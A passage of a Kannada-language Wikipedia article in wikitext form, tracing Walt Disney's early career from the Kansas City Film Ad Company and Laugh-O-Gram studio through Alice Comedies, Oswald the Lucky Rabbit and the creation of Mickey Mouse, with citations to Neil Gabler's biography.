ಅಲ್ಪಾಯುಷ್ಯದ ಸಂಸ್ಥೆಯೊಂದನ್ನು ಸ್ಥಾಪಿಸಿದರು. ಆದರೂ, ಆರಂಭಿಕ ಕಷ್ಟಗಳನ್ನು ಎದುರಿಸಿದ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ತಾತ್ಕಾಲಿಕವಾಗಿ ಕನ್ಸಸ್‌ ಸಿಟಿಗೆ ತೆರಳಿ, ಅಲ್ಲಿದ್ದ ಕನ್ಸಸ್‌ ಸಿಟಿ ಫಿಲ್ಮ್‌ ಆಡ್‌ ಕಂಪೆನಿಯಲ್ಲಿ ನೌಕರಿ ಮಾಡಿ ಹಣ ಸಂಪಾದಿಸತೊಡಗಿದರು. ಉದ್ದಿಮೆಯನ್ನು ಒಬ್ಬರೇ ಸಮರ್ಪಕವಾಗಿ ನಡೆಸಿಕೊಂಡು ಹೋಗಲು ಅಸಮರ್ಥರಾದ ಐವರ್ಕ್ಸ್‌ ಆ ಕೂಡಲೇ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯ ಸಹೋದ್ಯೋಗಿಯಾದರು.<ref name="gabler51">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 51.</ref> ಕನ್ಸಸ್‌ ಸಿಟಿ ಫಿಲ್ಮ್‌ ಆಡ್‌ ಕಂಪನಿಯ ಉದ್ಯಮಿಯಾಗಿ ವಾಲ್ಟ್‌ [[ಕಟೌಟ್ ಆನಿಮೇಷನ್‌]] ಗಳನ್ನು ವಾಣಿಜ್ಯ ಆಧಾರಿತ ಜಾಹೀರಾತುಗಳನ್ನು ನಿರ್ಮಿಸುತ್ತಿದ್ದರು. ಇದರ ಫಲವಾಗಿ, ಅನಿಮೇಷನ್‌ ಕ್ಷೇತ್ರದಲ್ಲಿ ವಾಲ್ಟ್‌ ಆಸಕ್ತಿ ವಹಿಸಿ, ತಾವೂ ಒಬ್ಬ ಆನಿಮೇಟರ್‌ ಆಗಲು ನಿರ್ಧರಿಸಿದರು.<ref name="gabler62">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 52.</ref> ವಾಲ್ಟ್‌ ಮನೆಯಲ್ಲಿ ಪ್ರಯೋಗಗಳನ್ನು ನಡೆಸಲು ಅನುಕೂಲವಾಗುವಂತೆ, ಜಾಹೀರಾತು ಸಂಸ್ಥೆಯ ಮಾಲೀಕ ಎ. ವಿ. ಕಾಗರ್‌, ತಮ್ಮ ಕ್ಯಾಮೆರಾವನ್ನು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಗೆ ಎರವಲು ನೀಡಿದರು. 'ಆನಿಮೇಟೆಡ್‌ ಕಾರ್ಟೂನ್ಸ್‌: ಹೌ ದೇ ಆರ್‌ ಮೇಡ್‌, ದೇರ್‌ ಆರಿಜಿನ್‌ ಅಂಡ್‌ ಡೆವೆಲಪ್ಮೆಂಟ್‌' ಎಂಬ ಎಡ್ವಿನ್‌ ಲುಟ್ಜ್‌ರ ಗ್ರಂಥವನ್ನು ಓದಿದ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಗೆ, ತಾವು ಕಾಗರ್‌ಗಾಗಿ ಮಾಡುತ್ತಿದ್ದ ಕಟೌಟ್‌ ಆನಿಮೇಷನ್‌ನ ಬದಲಿಗೆ ಸೆಲ್‌ ಆನಿಮೇಷನ್‌ ಬಹಳ ಭರವಸೆ ಮೂಡಿಸುವಂಥದ್ದು ಎಂಬುದು ಅರಿವಾಯಿತು. ತಮ್ಮದೇ ಆದ ಆನಿಮೇಷನ್‌ ಉದ್ದಿಮೆಯನ್ನು ಆರಂಭಿಸಲು ನಿರ್ಧರಿಸಿದ ವಾಲ್ಟ್‌,<ref name="gabler56">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 56.</ref> ಕನ್ಸಸ್‌ ಸಿಟಿ ಫಿಲ್ಮ್‌ ಆಡ್‌ ಕಂಪೆನಿಯ ಸಹೋದ್ಯೋಗಿ [[ಫ್ರೆಡ್‌ ಹಾರ್ಮನ್‌]]ರನ್ನು ತಮ್ಮ ಮೊದಲ ನೌಕರರನ್ನಾಗಿ ನೇಮಿಸಿಕೊಂಡರು.<ref name="gabler56"/> ಕನ್ಸಸ್‌ ಸಿಟಿ ವಲಯದಲ್ಲೇ ಅತಿ ಜನಪ್ರಿಯ 'ಷೋಮ್ಯಾನ್‌' ಆಗಿದ್ದ ಸ್ಥಳೀಯ ಚಿತ್ರಮಂದಿರದ ಮಾಲೀಕ ಫ್ರ್ಯಾಂಕ್‌ ನ್ಯೂಮನ್‌ರೊಂದಿಗೆ ವಾಲ್ಟ್‌ ಒಪ್ಪಂದ ಮಾಡಿಕೊಂಡರು.<ref name="gabler57">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 57.</ref> ಇದರಂತೆ, 'ಲಾಫ್‌-ಒ-ಗ್ರ್ಯಾಮ್ಸ್‌' ಎಂಬ ತಮ್ಮ ವ್ಯಂಗ್ಯಚಿತ್ರಗಳನ್ನು ಸ್ಥಳೀಯ ಚಿತ್ರಮಂದಿರದಲ್ಲಿ ಪ್ರದರ್ಶಿಸಲಾಯಿತು.<ref name="gabler57"/> === ಲಾಫ್‌-ಒ-ಗ್ರ್ಯಾಮ್‌ ಸ್ಟುಡಿಯೊ === [[File:Newman Laugh-O-Gram (1921).webm|thumb|thumbtime=2|upright=1.5|''Newman Laugh-O-Gram'' (1921)]] 'ನ್ಯೂಮನ್‌ ಲಾಫ್‌-ಒ-ಗ್ರ್ಯಾಮ್ಸ್‌' ಎಂದು ಪ್ರಸ್ತುತಪಡಿಸಿದ <ref name="gabler57"/> ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ವ್ಯಂಗ್ಯಚಿತ್ರಗಳು ಕನ್ಸಸ್‌ ಸಿಟಿ ವಲಯದಲ್ಲಿ ವ್ಯಾಪಕ ಜನಪ್ರಿಯತೆ ಗಳಿಸಿದವು.<ref name="gabler58">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 58.</ref> ಈ ಯಶಸ್ಸಿನ ಮೂಲಕ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ '[[ಲಾಫ್‌-ಒ-ಗ್ರ್ಯಾಮ್‌]]' ಎಂಬ ಹೆಸರಿನ ತಮ್ಮದೇ ಸ್ಟುಡಿಯೊವನ್ನು ಸ್ವಾಧೀನಕ್ಕೆ ಪಡೆಯಲು ಸಮರ್ಥರಾದರು.<ref name="gabler64">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 64.</ref> ಫ್ರೆಡ್‌ ಹಾರ್ಮನ್‌ರ ಸಹೋದರ [[ಹಗ್‌ ಹಾರ್ಮನ್]]‌, [[ರುಡಾಲ್ಫ್‌ ಐಸಿಂಗ್‌]] ಮತ್ತು ವಾಲ್ಟ್‌ರ ಆಪ್ತ ಸ್ನೇಹಿತ [[ಯುಬಿ ಐವರ್ಕ್ಸ್‌]] ಸೇರಿದಂತೆ ಹೆಚ್ಚುವರಿ ಆನಿಮೇಟರ್‌ಗಳನ್ನು ನೇಮಿಸಿಕೊಂಡರು.<ref name="gabler6471">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 64-71.</ref> ದುರಾದೃಷ್ಟವೆಂದರೆ, ತಮ್ಮ ಉದ್ಯೋಗಿಗಳಿಗೆ ಅತಿ ಹೆಚ್ಚು ಪ್ರಮಾಣದ ವೇತನಗಳನ್ನು ನೀಡುವುದರಿಂದಾಗಿ ಸ್ಟುಡಿಯೊದ ಲಾಭದ ಗಳಿಕೆಯಲ್ಲಿ ಹೆಚ್ಚಿಗೇನೂ ಉಳಿಯಲಿಲ್ಲ. ಹಣಕಾಸು ನಿರ್ವಹಣೆ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ ದುಸ್ತರದ ಕೆಲಸವಾಯಿತು.<ref name="gabler68">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 68.</ref> ಇದರ ಪರಿಣಾಮವಾಗಿ, ಸ್ಟುಡಿಯೊದ ಸಾಲದ ಹೊರೆ ಹೆಚ್ಚಾಗಿ ದಿವಾಳಿ ಸ್ಥಿತಿ ತಲುಪಿ, ಮುಚ್ಚಬೇಕಾಯಿತು.<ref name="gabler72"/> ನಂತರ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಕ್ಯಾಲಿಫೊರ್ನಿಯಾದಲ್ಲಿರುವ, ಚಲನಚಿತ್ರದ ರಾಜಧಾನಿಯೆನ್ನಲಾದ ಹಾಲಿವುಡ್‌ನಲ್ಲಿ ಒಂದು ಸ್ಟುಡಿಯೊ ಸ್ಥಾಪಿಸುವ ಕನಸು ಕಂಡರು.<ref name="gabler76">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 75.</ref> === ಹಾಲಿವುಡ್‌ === ಹಾಲಿವುಡ್‌ನಲ್ಲಿ ವ್ಯಂಗ್ಯಚಿತ್ರದ ಸ್ಟುಡಿಯೊ ಸ್ಥಾಪಿಸಲು, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಮತ್ತು ಅವರ ಸಹೋದರರು ಹಣ ಕ್ರೋಢೀಕರಿಸಿದರು.<ref name="gabler78">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 78.</ref> ಕನ್ಸಸ್‌ ಸಿಟಿಯಲ್ಲಿರುವಾಗಲೇ ಆರಂಭಗೊಳಿಸಿದ ಅವರ ಹೊಸ ಚಲನಚಿತ್ರ [[ಆಲೀಸ್‌ ಕಾಮೆಡೀಸ್‌]]ಗಾಗಿ ಅವರಿಗೆ ವಿತರಕರ ಅಗತ್ಯವಿತ್ತು.<ref name="gabler72">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 72.</ref> ಆದರೆ ಅವರಿಗೆ ವಿತರಕರು ಲಭಿಸಲಿಲ್ಲ. ಅವರು ನ್ಯೂಯಾರ್ಕ ವಿತರಕಿ [[ಮಾರ್ಗರೆಟ್‌ ವಿಂಕ್ಲರ್‌]]ರಿಗೆ ಅಪೂರ್ಣ ಪ್ರತಿಯನ್ನು ಕಳುಹಿಸಿದರು. ಮಾರ್ಗರೆಟ್‌ ಕೂಡಲೇ ವಾಲ್ಟ್‌ಗೆ ಪ್ರತಿಕ್ರಿಯಿಸಿದರು. ''ಆಲೀಸ್‌ ವಂಡರ್ಲೆಂಡ್‌'' ಆಧಾರಿತ ಸಾಹಸ-ಪ್ರಧಾನ/ಆನಿಮೇಟೆಡ್‌ ಕಿರುಚಿತ್ರಗಳ ವಿತರಣೆಗಾಗಿ ಒಂದು ಒಪ್ಪಂದ ಮಾಡೋಣವೆಂದು ಮಾರ್ಗರೆಟ್‌ ಪ್ರಸ್ತಾಪಿಸಿದರು.<ref name="gabler80">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 80.</ref> ==== ಆಲೀಸ್‌ ಕಾಮೆಡೀಸ್‌ ==== ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಕೋರಿಕೆಯ ಮೇರೆಗೆ, ''ಆಲೀಸ್‌ ವಂಡರ್ಲೆಂಡ್‌'' ನ 'ಲೈವ್‌ ಆಕ್ಷನ್‌ ಸ್ಟಾರ್‌' [[ವರ್ಜಿನಿಯಾ ಡೇವಿಸ್‌]], ಐವರ್ಕ್ಸ್‌ ಹಾಗೂ ಅವರವರ ಕುಟುಂಬಗಳನ್ನು ಕನ್ಸಸ್‌ ಸಿಟಿಯಿಂದ [[ಹಾಲಿವುಡ್‌]]ಗೆ ಸ್ಥಳಾಂತರಿಸಲಾಯಿತು. ಇದು [[ಡಿಸ್ನಿ ಬ್ರದರ್ಸ್‌ ಸ್ಟುಡಿಯೊ]]ದ (ಕಲಾಭವನದ)ಆರಂಭದ ಹಂತವಾಗಿತ್ತು. ಇದು [[ಸಿಲ್ವರ್‌ ಲೇಕ್‌ ಜಿಲ್ಲೆ]]ಯ ಹೈಪರಿಯನ್‌ ಅವೆನ್ಯೂ ರಸ್ತೆಯಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಗಿದ್ದು, 1939 ತನಕ ಅಲ್ಲಿಯೇ ಇತ್ತು. (ರಜತ ಪರದೆ)ಸೆಲ್ಯುಲಾಯ್ಡ್‌ ಮೇಲೆ ಶಾಯಿ ಮತ್ತು ಬಣ್ಣದ ಕಾರ್ಯ ಮಾಡಲು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ [[ಲಿಲ್ಲಿಯನ್‌ ಬೌಂಡ್ಸ್‌]] ಎಂಬ ಯುವತಿಯನ್ನು 1925ರಲ್ಲಿ ನೇಮಿಸಿಕೊಂಡರು. ಸ್ವಲ್ಪಕಾಲ ವಿಹರಿಸಿದ ನಂತರ, ಇವರಿಬ್ಬರೂ ಅದೇ ವರ್ಷ ವಿವಾಹವಾದರು. ''[[ಆಲೀಸ್‌ ಕಾಮೆಡೀಸ್‌]]'' ಹೊಸ ಸರಣಿಯು ಪರವಾಗಿಲ್ಲ ಎನ್ನುವಷ್ಟು ಯಶಸ್ವಿಯಾಯಿತು. ಇದರಲ್ಲಿ [[ಡಾನ್‌ ಒ'ಡೇ]] ಮತ್ತು ಮ್ಯಾರ್ಗೀ ಗೇ ಇಬ್ಬರೂ ಆಲೀಸ್‌ ಪಾತ್ರ ವಹಿಸಿದರು. ಲೊಯಿಸ್‌ ಹಾರ್ಡ್ವಿಕ್‌ ಸಹ ಕೆಲದಿನ ಆಲೀಸ್‌ ಪಾತ್ರ ವಹಿಸಿದರು. ಈ ಸರಣಿಯು 1927ರಲ್ಲಿ ಅಂತ್ಯಗೊಂಡಾಗ, ಆನಿಮೇಟ್‌ ಆಗಿದ್ದ ಪಾತ್ರಗಳ ಮೇಲೆ ದೃಷ್ಟಿ ಕೇಂದ್ರೀಕೃತವಾಗಿತ್ತು. ಅದರಲ್ಲೂ ವಿಶಿಷ್ಟವಾಗಿ, ಲೈವ್‌-ಆಕ್ಷನ್‌ ಆಲೀಸ್‌ ಬದಲಿಗೆ, ಜೂಲಿಯಸ್‌ ಎಂಬ ಒಂದು ಮಾರ್ಜಾಲದ ಮೇಲೆಕಣ್ಣು ಬಿದ್ದಿತ್ತು. ಇದು [[ಫೆಲಿಕ್ಸ್‌ ದಿ ಕ್ಯಾಟ್‌]] ಪಾತ್ರವನ್ನು ಹೋಲುತ್ತಿತ್ತು. ==== ಆಸ್ವಾಲ್ಡ್‌ ದಿ ಲಕಿ ರ‌್ಯಾಬಿಟ್‌ ==== 1927ರಲ್ಲಿ, [[ಚಾರ್ಲ್ಸ್‌ ಬಿ. ಮಿಂಟ್ಜ್‌]] ಮಾರ್ಗರೆಟ್‌ ,ವಿಂಕ್ಲರ್‌ರನ್ನು ವಿವಾಹವಾಗಿ ಅವರ ಉದ್ದಿಮೆಯನ್ನು ತಮ್ಮ ಕೈಗೆತ್ತಿಕೊಂಡಿದ್ದರು. [[ಯುನಿವರ್ಸಲ್‌ ಪಿಕ್ಚರ್ಸ್‌]] ಮೂಲಕ ವಿತರಿಸಲು ಒಂದು ಹೊಸ ಆನಿಮೇಟೆಡ್‌ ಸರಣಿಯ ನಿರ್ಮಾಣವಾಗಲೆಂದು ಆದೇಶಿಸಿದರು. ''[[ಆಸ್ವಾಲ್ಡ್‌ ದಿ ಲಕಿ ರ‌್ಯಾಬಿಟ್‌]]'' ಎಂಬ ಈ ಹೊಸ ಸರಣಿಯು ಬಹಳ ಬೇಗ ಜನಪ್ರಿಯತೆ ಗಳಿಸಿತು. ಐವರ್ಕ್ಸ್‌ ಚಿತ್ರ ಬರೆದು ನಿರ್ಮಿಸಿದ ಆಸ್ವಾಲ್ಡ್‌ ಮೊಲದ ಪಾತ್ರವು ಅಪಾರ ಜನಪ್ರಿಯತೆ ಗಳಿಸಿತು. ಇದರೊಂದಿಗೆ ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊ ವಿಸ್ತರಿಸಿತು, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಹಾರ್ಮನ್‌, [[ರುಡಾಲ್ಫ್‌ ಐಸಿಂಗ್]]‌, [[ಕಾರ್ಮನ್‌ ಮ್ಯಾಕ್ಸ್‌ವೆಲ್‌]]‌ ಮತ್ತು [[ಫ್ರಿಜ್‌ ಫ್ರೆಲೆಂಗ್‌]] ಇವರನ್ನು ಕನ್ಸಸ್‌ ಸಿಟಿಯಿಂದ ಪುನಃ ನೇಮಿಸಿಕೊಂಡರು. ಫೆಬ್ರವರಿ 1928ರಲ್ಲಿ, ಪ್ರತಿ ಸರಣಿಗೂ ಹೆಚ್ಚಿನ ವೇತನಕ್ಕಾಗಿ ಮಿಂಟ್ಜ್‌ರೊಂದಿಗೆ ಮಾತುಕತೆ ನಡೆಸಲು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ [[ನ್ಯೂಯಾರ್ಕ್‌]]ಗೆ ಹೋದರು. ಆದರೆ ವಾಲ್ಟ್‌ಗೆ ದೊಡ್ಡ ಆಘಾತ ಕಾದಿತ್ತು. ಮಿಂಟ್ಜ್‌ ತಾವು ಪ್ರತಿ ಸರಣಿಗೂ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಗೆ ನೀಡಬೇಕಾದ ಶುಲ್ಕವನ್ನು ಕಡಿಮೆಗೊಳಿಸುವರೆಂದರು. ಇಷ್ಟೇ ಅಲ್ಲ, ಹಾರ್ಮನ್‌, ಐಸಿಂಗ್‌, ಮ್ಯಾಕ್ಸ್‌ವೆಲ್‌ ಮತ್ತು ಫ್ರೆಲೆಂಗ್‌ ಸೇರಿದಂತೆ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯ ಪ್ರಮುಖ ಆನಿಮೇಟರ್‌ಗಳು ಕರಾರಿನಡಿಯಿದ್ದರೆಂದರು. (ಐವರ್ಕ್ಸ್‌ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯಿಂದ ಹೊರಬರಲು ನಿರಾಕರಿಸಿದರು). ಒಂದು ವೇಳೆ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ನಿರ್ಮಾಣ ಅಗ್ಗದ ಬಜೆಟ್‌ ನಿರ್ಮಾಣಗಳನ್ನು ಒಪ್ಪದಿದ್ದಲ್ಲಿ ಮಿಂಟ್ಜ್‌ ತಮ್ಮ ಸ್ವಂತ ಸ್ಟುಡಿಯೊ ಆರಂಭಿಸುವುದಾಗಿ ಹೇಳಿದರು. ಆಸ್ವಾಲ್ಡ್‌ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ ಡಿಸ್ನಿದಲ್ಲ, ಯುನಿವರ್ಸಲ್‌ದಾಗಿತ್ತಂತೆ. ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ಅಗತ್ಯವಿಲ್ಲದೆಯೇ ಚಲನಚಿತ್ರಗಳನ್ನು ಮಾಡಬಹುದು ಎಂದು ಮಿಂಟ್ಜ್‌ ಹೇಳಿದರು. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಮಿಂಟ್ಜ್‌ರ ಪ್ರಸ್ತಾಪವನ್ನು ತಿರಸ್ಕರಿಸಿದರು; ತಮ್ಮ ಬಹುತೇಕ ಆನಿಮೇಷನ್‌ ಸಿಬ್ಬಂದಿಯನ್ನು ಕಳೆದುಕೊಂಡರು. ತಮ್ಮ ಸಿಬ್ಬಂದಿ ವರ್ಗದಲ್ಲಿ ಬಹುಮಂದಿ ತಮ್ಮ ಸಂಸ್ಥೆಯನ್ನು ತೊರೆದಿದ್ದರಿಂದಾಗಿ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಪುನಃ ಏಕಾಂಗಿಯಾದರು.<ref name="gabler109">ನೀಲ್‌ ಗೇಬ್ಲರ್‌, "ವಾಲ್ಟ್ ಡಿಸ್ನಿ:ದಿ ಟ್ರಯಂಫ್‌ ಆಫ್‌ ದಿ ಅಮೆರಿಕನ್‌ ಇಮ್ಯಾಜಿನೇಷನ್‌" (2006), ಪು. 109.</ref> ಆಸ್ವಾಲ್ಡ್‌ ಪಾತ್ರಕ್ಕೆ ಹಕ್ಕುಗಳನ್ನು ಪುನಃ ಪಡೆದುಕೊಳ್ಳಲು ಡಿಸ್ನಿ ಸಂಸ್ಥೆಗೆ 78 ವರ್ಷಗಳು ಬೇಕಾದವು. ದೀರ್ಘಕಾಲದಿಂದಲೂ ABC ಕ್ರೀಡಾ ವೀಕ್ಷಕವಿವರಣೆಗಾರ [[ಆಲ್‌ ಮೈಕಲ್ಸ್‌]]ರಿಗಾಗಿ ವಹಿವಾಟೊಂದರ ಮೂಲಕ, 2006ರಲ್ಲಿ [[ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಸಂಸ್ಥೆ]]ಯು [[NBC ಯುನಿವರ್ಸಲ್‌]]ನಿಂದ ಆಸ್ವಾಲ್ಡ್‌ ದಿ ಲಕಿ ರ‌್ಯಾಬಿಟ್‌ ಹಕ್ಕುಗಳನ್ನು ಪುನಃ ಪಡೆಯಿತು.<ref>[http://sports.espn.go.com/nfl/news/story?id=2324417 ಸ್ಟೇ 'ಟೂನ್ಡ್‌: ಆಲ್‌ ಮೈಕಲ್ಸ್‌ಗಾಗಿ ಡಿಸ್ನಿ ಸಂಸ್ಥೆಗೆ 'ಆಸ್ವಾಲ್ಡ್‌' ಪ್ರಾಪ್ತಿ], ESPN ಜಾಲತಾಣದಲ್ಲಿ, 4 ಜನವರಿ 2010ರಂದು ಪುನರ್ಪಡೆದದ್ದು.</ref> ==== ಮಿಕ್ಕಿ ಮೌಸ್‌ ==== {{Main|ಮಿಕ್ಕಿ ಮೌಸ್}} ಆಸ್ವಾಲ್ಡ್‌ ಹಕ್ಕುಗಳನ್ನು ಕಳೆದುಕೊಂಡ ನಂತರ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರಿಗೆ ಅದರ ಸ್ಥಾನ ತುಂಬಲು ಒಂದು ಹೊಸ ಪಾತ್ರದ ಅಗತ್ಯವಾಯಿತು. ಕನ್ಸಸ್‌ ಸಿಟಿ ಸ್ಟುಡಿಯೊದಲ್ಲಿ ಕೆಲಸ ಮಾಡುತ್ತಿರುವಾಗ ಅವರು ದತ್ತು ಪಡೆದು ಸಾಕಿದ್ದ ಒಂದು ಮೂಷಕವನ್ನು ಆಧರಿಸಿ ಆ ಪಾತ್ರ ಸೃಷ್ಟಿಸಿದರು.<ref name="DisneyMuseum">{{cite web|accessdate=2008-05-21|url=http://disney.go.com/disneyatoz/familymuseum/exhibits/articles/mickeymousegoldenage/index.html|title=The Golden Age of Mickey Mouse|publisher=[[Disney]]|author=Solomon, Charles}}</ref> ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ರಚಿಸಿದ ಕರಡು ಚಿತ್ರವು ಆನಿಮೇಟ್‌ ಮಾಡಲು ಸುಲಭವಾಗುವಂತೆ ಯುಬಿ ಐವರ್ಕ್ಸ್‌ ಪುನಃ ರಚಿಸಿದರು. ಆದರೆ, ಮಿಕ್ಕಿಗೆ ಕಂಠಧ್ವನಿ ಮತ್ತು ವ್ಯಕ್ತಿತ್ವ ನೀಡಿದವರು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ. ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ಉದ್ಯೋಗಿಯೊಬ್ಬರ ಮಾತಿನಲ್ಲಿ, 'ಯುಬಿ ಮಿಕ್ಕಿಯ ರೂಪವನ್ನು ಸೃಷ್ಟಿಸಿದರೆ, ವಾಲ್ಟ್‌ , ಮಿಕ್ಕಿಗೆ ತಮ್ಮ [[ಅಂತರಾತ್ಮ]] ವನ್ನು ನೀಡಿದರು.' <ref name="DisneyMuseum"/> ಆಸ್ವಾಲ್ಡ್‌ ಮತ್ತು ಮಿಕ್ಕಿಯಲ್ಲದೆ, ತದ್ರೂಪಿ ಮೂಷಕ ಪಾತ್ರವೊಂದು ''ಆಲೀಸ್‌ ಕಾಮೆಡೀಸ್‌'' ನಲ್ಲಿ ಕಾಣಸಿಗುತ್ತದೆ. ಇದು ಇಕಿ ದಿ ಮೌಸ್‌ ಎಂಬ ಪಾತ್ರ. ಫಿಡ್ಲ್‌ಸ್ಟಿಕ್ಸ್‌ ಎಂಬ ಮೊದಲ [[ಫ್ಲಿಪ್‌ ದಿ ಫ್ರಾಗ್‌]] ವ್ಯಂಗ್ಯಚಿತ್ರದಲ್ಲಿ ಮಿಕ್ಕಿ ಮೌಸ್‌ ತದ್ರೂಪಿ ಪಾತ್ರವು ಪಿಟೀಲು ನುಡಿಸುತ್ತದೆ. ಆರಂಭಿಕ ಚಲನಚಿತ್ರಗಳನ್ನು ಐವರ್ಕ್ಸ್‌ ಆನಿಮೇಟ್‌ ಮಾಡುತ್ತಿದ್ದರು. ಚಲನಚಿತ್ರ ಶೀರ್ಷಿಕೆಯ ಪರಿಚಯ ಪಟ್ಟಿಯ ವಿವರಣೆಗಳಲ್ಲಿ ಇವರ ಹೆಸರನ್ನು ಗಮನಾರ್ಹ ರೀತಿಯಲ್ಲಿ ಉಲ್ಲೇಖಿಸಲಾಗುತ್ತಿತ್ತು. ಈ ಮೂಷಕ ಪಾತ್ರಕ್ಕೆ ಮೂಲತಃ 'ಮೊರ್ಟಿಮರ್‌' ಎಂದು ಹೆಸರಿಸಲಾಗಿತ್ತು, ಆದರೆ, ಮೊರ್ಟಿಮರ್‌ ಎಂಬ ಹೆಸರು ಸರಿಹೊಂದುವುದಿಲ್ಲ ಎಂದು ಲಿಲಿಯನ್‌ ಡಿಸ್ನಿ ಅಭಿಪ್ರಾಯಪಟ್ಟ ನಂತರ 'ಮಿಕ್ಕಿ ಮೌಸ್‌' ಎಂದು ಮರುನಾಮಕರಣ ಮಾಡಲಾಯಿತು. ಮೊರ್ಟಿಮರ್‌ ಪಾತ್ರವು ಆನಂತರ ಮಿನ್ನಿ ಮೌಸ್‌ಳ ಹೃದಯ ಗೆಲ್ಲುವ ಯತ್ನದಲ್ಲಿ ಮಿಕ್ಕಿಯ ಎದುರಾಳಿಯಾಯಿತು. ಮೊರ್ಟಿಮರ್‌ ತನ್ನ ಜನಪ್ರಿಯ ಎದುರಾಳಿಗಿಂತಲೂ ಎತ್ತರವಿದ್ದು, ಮಾತನಾಡುವಾಗ ಬ್ರೂಕ್ಲಿನ್‌ ಉಚ್ಚಾರಣಾ ಶೈಲಿ ಎದ್ದುಕಾಣುತ್ತಿತ್ತು. ಮಿಕ್ಕಿ ಮೌಸ್‌ ಹೊಂದಿರುವ ಮೊದಲ ಆನಿಮೇಟೆಡ್‌ ಕಿರುಚಿತ್ರ ''[[ಪ್ಲೇನ್‌ ಕ್ರೇಜಿ]]'' . ಡಿಸ್ನಿ ಸಂಸ್ಥೆಯ ಮುಂಚಿನ ಚಿತ್ರಗಳಂತೆಯೇ ಇದೂ ಸಹ ಒಂದು 